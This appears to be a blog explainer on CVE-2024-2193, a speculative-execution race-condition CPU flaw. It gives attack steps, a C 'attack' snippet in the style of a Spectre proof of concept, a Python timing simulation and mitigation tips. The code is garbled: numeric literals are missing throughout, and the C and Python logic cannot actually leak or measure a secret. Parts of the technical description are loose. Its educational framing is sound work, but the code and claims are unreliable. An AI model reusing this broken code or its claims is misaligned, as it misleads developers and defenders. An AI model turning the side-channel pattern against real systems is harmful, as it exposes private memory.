In March 2024, security researchers disclosed CVE-2024-2193, a troubling new variant of speculative execution vulnerabilities, similar in nature to Spectre V1. Dubbed the *Speculative Race Condition* (SRC), this bug allows attackers — even without authentication — to expose confidential data by manipulating how modern CPUs execute code out-of-order.

This long read will break down what SRC is, how attackers can exploit it, how it works with code examples, and what you can do to defend against it.

What Is CVE-2024-2193 (SRC)?

SRC is a *race condition vulnerability* tied to CPU speculative execution. When a CPU “speculates,” it tries to predict which code path will run and executes it *before* it knows for sure. If the prediction is wrong, it rolls back. But, as with Spectre, information can “leak” during these guesswork executions via CPU cache or timing differences.

What’s new is that, in certain race conditions (like when two threads access the same data at the same moment), an attacker can trick the CPU into speculatively executing memory loads/stores with privileged or sensitive data they shouldn’t see.

Affected: Most modern CPUs (Intel, AMD, ARM, etc.) supporting speculative execution.

- Risk: An attacker running any code on the CPU (including in cloud/shared environments) can snoop on process memory — passwords, keys, cookies, etc.

Attackers run code alongside a target (victim) process.

- They orchestrate a race condition so that, while the CPU is uncertain about what should happen, it guesses and speculatively executes custom code paths set up by the attacker.

High-level Steps

1. Setup a Race: By controlling how and when data is accessed, the attacker arranges for a variable to be in an uncertain (“racing”) state.
2. Trigger Speculation: The attacker causes the CPU to misspeculate and access out-of-bounds or otherwise forbidden memory.
3. Leak via Side Channel: The attacker uses timing (for example, how long it takes to access certain data) to infer what’s present in secret memory.

Here’s a simplified C code snippet based on public PoCs (for research purposes only!)

// Victim code (runs normally)
unsigned char array1[256];
unsigned char secret = 123; // Sensitive data
void victim(size_t x) {
    if (x < 256) {
        unsigned char temp = array1[x];
    }
}

// Attacker code (abuse speculative execution)
void attack(size_t malicious_x) {
    // Flush array1 from cache
    for (int i = ; i < 256; i++) _mm_clflush(&array1[i]);
    
    // Trigger speculative execution
    for (int j = ; j < 100; j++) {
        victim(malicious_x); // out-of-bounds access
    }
    // Time reads to see which byte was loaded into cache
    for (int i = ; i < 256; i++) {
        // If fast, that byte is the value of secret
        if (timed_access(array1 + i) < threshold) {
            printf("Leaked secret value = %d\n", i);
        }
    }
}

Note: Real attacks are much more complex. They require careful timing and sophisticated manipulation of the CPU execution paths.

Python can’t do speculative execution, but we can mimic the concept

import random
import time

secret = 77  # Sensitive info

# Simulate attacker measuring cache timing side channel
def read_memory(addr):
    start = time.perf_counter()
    _ = addr  # 'Read'
    end = time.perf_counter()
    return end - start

def attacker_guess():
    guess = random.randint(, 255)
    # Victim does speculative execution (race condition here in real CPU)
    leak = guess == secret
    time.sleep( if leak else .0001)  # Simulate timing difference
    return guess, read_memory(leak)

for _ in range(100):
    guess, timing = attacker_guess()
    if timing < .00005:
        print(f"Possible secret: {guess}")

Mitigation and Patches

Vendors are shipping microcode/firmware updates, and operating systems are issuing software mitigations.

- Update your Operating System and BIOS (Intel/AMD/ARM advisories below)
- Disable Hyper-threading / SMT (reduces attack surface)

References

- Original CVE entry – CVE-2024-2193
- Spectre Classic Paper (PDF)
- Linux Vendor Advisory
- Intel Security Center Advisory
- AMD Security Bulletins

Summary

CVE-2024-2193 demonstrates that race conditions, combined with speculative execution, remain a potent threat. Attackers don’t need authentication or advanced rights—just the ability to run code on the same system (or VM!). The industry is still catching up on fixes, so keep your systems up-to-date, follow cloud/OS advisories, and audit code for dangerous races.

Stay safe and watch for microcode updates and OS patches. For researchers, always test responsibly and follow disclosure best practices.


*Content exclusive for educational purposes. Redistribution requires proper credit. For any questions or additional details, reach out to the original security advisories linked above.*

Timeline

Published on: 03/15/2024 18:15:08 UTC
Last modified on: 10/29/2024 16:35:13 UTC